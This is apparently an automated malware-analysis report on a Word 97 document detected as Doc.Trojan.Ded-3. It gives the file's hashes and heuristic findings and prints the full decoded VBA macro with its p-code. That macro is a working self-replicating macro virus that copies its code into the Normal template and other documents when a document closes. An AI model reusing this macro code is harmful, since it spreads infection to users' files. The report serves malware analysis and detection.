Office (OLE) malware analysis — malicious · 7e430b66eb962459

MALICIOUS

Office (OLE)

33.0 KB Created: 2001-03-15 14:17:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-28

MD5: 286875907b699741f1360ebcb86dc6d1 SHA-1: 29979fa71f34474fca3c6aa3e7a284e44eafd7c9 SHA-256: 7e430b66eb96245973c579b717bdce3ea207419255141601685917b839b5b331

200 Risk Score

Heuristics 3

ClamAV: Doc.Trojan.Ded-3 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Ded-3
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
            ActiveDocument.VBProject.VBComponents(1).codemodule.InsertLines i * 2, d
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6465 bytes
SHA-256: `aeacd4f8dc513f94b719206fd4e2907d9065a49e4683e7a0acb7dcfe7a45fe36`
Detection ClamAV: Doc.Trojan.Ded-2 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Close() On Error GoTo skam Options.VirusProtection = True SWLABS99 skam: End Sub Private Sub SWLABS99() If Not ActiveDocument.VBProject.VBComponents(1).codemodule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then For i = 1 To NormalTemplate.VBProject.VBComponents(1).codemodule.CountOfLines d = NormalTemplate.VBProject.VBComponents(1).codemodule.Lines(i, 1) If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then While Mid(d, Len(d) - 1, 2) = " _" i = i + 1 d = Left(d, Len(d) - 1) & NormalTemplate.VBProject.VBComponents(1).codemodule.Lines(i, 1) Wend ActiveDocument.VBProject.VBComponents(1).codemodule.InsertLines i * 2, d End If Next i ActiveDocument.SaveAs AddToRecentFiles:=False Else If Not NormalTemplate.VBProject.VBComponents(1).codemodule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then For i = 1 To ActiveDocument.VBProject.VBComponents(1).codemodule.CountOfLines d = ActiveDocument.VBProject.VBComponents(1).codemodule.Lines(i, 1) If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then While Mid(d, Len(d) - 1, 2) = " _" i = i + 1 d = Left(d, Len(d) - 1) & ActiveDocument.VBProject.VBComponents(1).codemodule.Lines(i, 1) Wend NormalTemplate.VBProject.VBComponents(1).codemodule.InsertLines i * 2, d End If Next i NormalTemplate.Save End If End If End Sub ' Processing file: /opt/analyzer/scan_staging/0a2150ca7e4c46868def8e3cd0ef13c9.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 2991 bytes ' Line #0: ' FuncDefn (Private Sub Document_Close()) ' Line #1: ' OnError skam ' Line #2: ' LitVarSpecial (True) ' Ld Options ' MemSt VirusProtection ' Line #3: ' ArgsCall SWLABS99 0x0000 ' Line #4: ' Label skam ' Line #5: ' EndSub ' Line #6: ' FuncDefn (Private Sub SWLABS99()) ' Line #7: ' LitStr 0x000E "Document_Close" ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x03E8 ' LitDI2 0x03E8 ' LitVarSpecial (False) ' LitVarSpecial (False) ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd codemodule ' ArgsMemLd Find 0x0007 ' Not ' IfBlock ' Line #8: ' StartForVariable ' Ld i ' EndForVariable ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd codemodule ' MemLd CountOfLines ' For ' Line #9: ' Ld i ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd codemodule ' ArgsMemLd Lines 0x0002 ' St d ' Line #10: ' Ld d ' FnLen ' LitDI2 0x0000 ' Gt ' Ld d ' LitStr 0x0001 " " ' Eq ' Not ' And ' Ld d ' LitStr 0x0002 " _" ' Eq ' Not ' And ' Ld d ' LitStr 0x0000 "" ' Eq ' Not ' And ' Ld d ' LitDI2 0x0001 ' LitDI2 0x0001 ' ArgsLd Mid$ 0x0003 ' LitStr 0x0001 "'" ' Eq ' Not ' And ' IfBlock ' Line #11: ' Ld d ' Ld d ' FnLen ' LitDI2 0x0001 ' Sub ' LitDI2 0x0002 ' ArgsLd Mid$ 0x0003 ' LitStr 0x0002 " _" ' Eq ' While ' Line #12: ' Ld i ' LitDI2 0x0001 ' Add ' St i ' Line #13: ' Ld d ' Ld d ' FnLen ' LitDI2 0x0001 ' Sub ' ArgsLd LBound 0x0002 ' Ld i ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd codemodule ' ArgsMemLd Lines 0x0002 ' Concat ' St d ' Line #14: ' Wend ' Line #15: ' Ld i ' LitDI2 0x0002 ' Mul ' Ld d ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd codemodule ' ArgsMemCall InsertLines 0x0002 ' Line #16: ' EndIfBlock ' Line #17: ' StartForVariable ' Ld i ' EndForVariable ' NextVar ' Line #18: ' LitVarSpecial (False) ' ParamNamed AddToRecentFiles ' Ld ActiveDocument ' ArgsMemCall SaveAs 0x0001 ' Line #19: ' ElseBlock ' Line #20: ' LitStr 0x000E "Document_Close" ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x03E8 ' LitDI2 0x03E8 ' LitVarSpecial (False) ' LitVarSpecial (False) ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd codemodule ' ArgsMemLd Find 0x0007 ' Not ' IfBlock ' Line #21: ' StartForVariable ' Ld i ' EndForVariable ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd codemodule ' MemLd CountOfLines ' For ' Line #22: ' Ld i ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd codemodule ' ArgsMemLd Lines 0x0002 ' St d ' Line #23: ' Ld d ' FnLen ' LitDI2 0x0000 ' Gt ' Ld d ' LitStr 0x0001 " " ' Eq ' Not ' And ' Ld d ' LitStr 0x0002 " _" ' Eq ' Not ' And ' Ld d ' LitStr 0x0000 "" ' Eq ' Not ' And ' Ld d ' LitDI2 0x0001 ' LitDI2 0x0001 ' ArgsLd Mid$ 0x0003 ' LitStr 0x0001 "'" ' Eq ' Not ' And ' IfBlock ' Line #24: ' Ld d ' Ld d ' FnLen ' LitDI2 0x0001 ' Sub ' LitDI2 0x0002 ' ArgsLd Mid$ 0x0003 ' LitStr 0x0002 " _" ' Eq ' While ' Line #25: ' Ld i ' LitDI2 0x0001 ' Add ' St i ' Line #26: ' Ld d ' Ld d ' FnLen ' LitDI2 0x0001 ' Sub ' ArgsLd LBound 0x0002 ' Ld i ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd codemodule ' ArgsMemLd Lines 0x0002 ' Concat ' St d ' Line #27: ' Wend ' Line #28: ' Ld i ' LitDI2 0x0002 ' Mul ' Ld d ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd codemodule ' ArgsMemCall InsertLines 0x0002 ' Line #29: ' EndIfBlock ' Line #30: ' StartForVariable ' Ld i ' EndForVariable ' NextVar ' Line #31: ' Ld NormalTemplate ' ArgsMemCall Save 0x0000 ' Line #32: ' EndIfBlock ' Line #33: ' EndIfBlock ' Line #34: ' EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.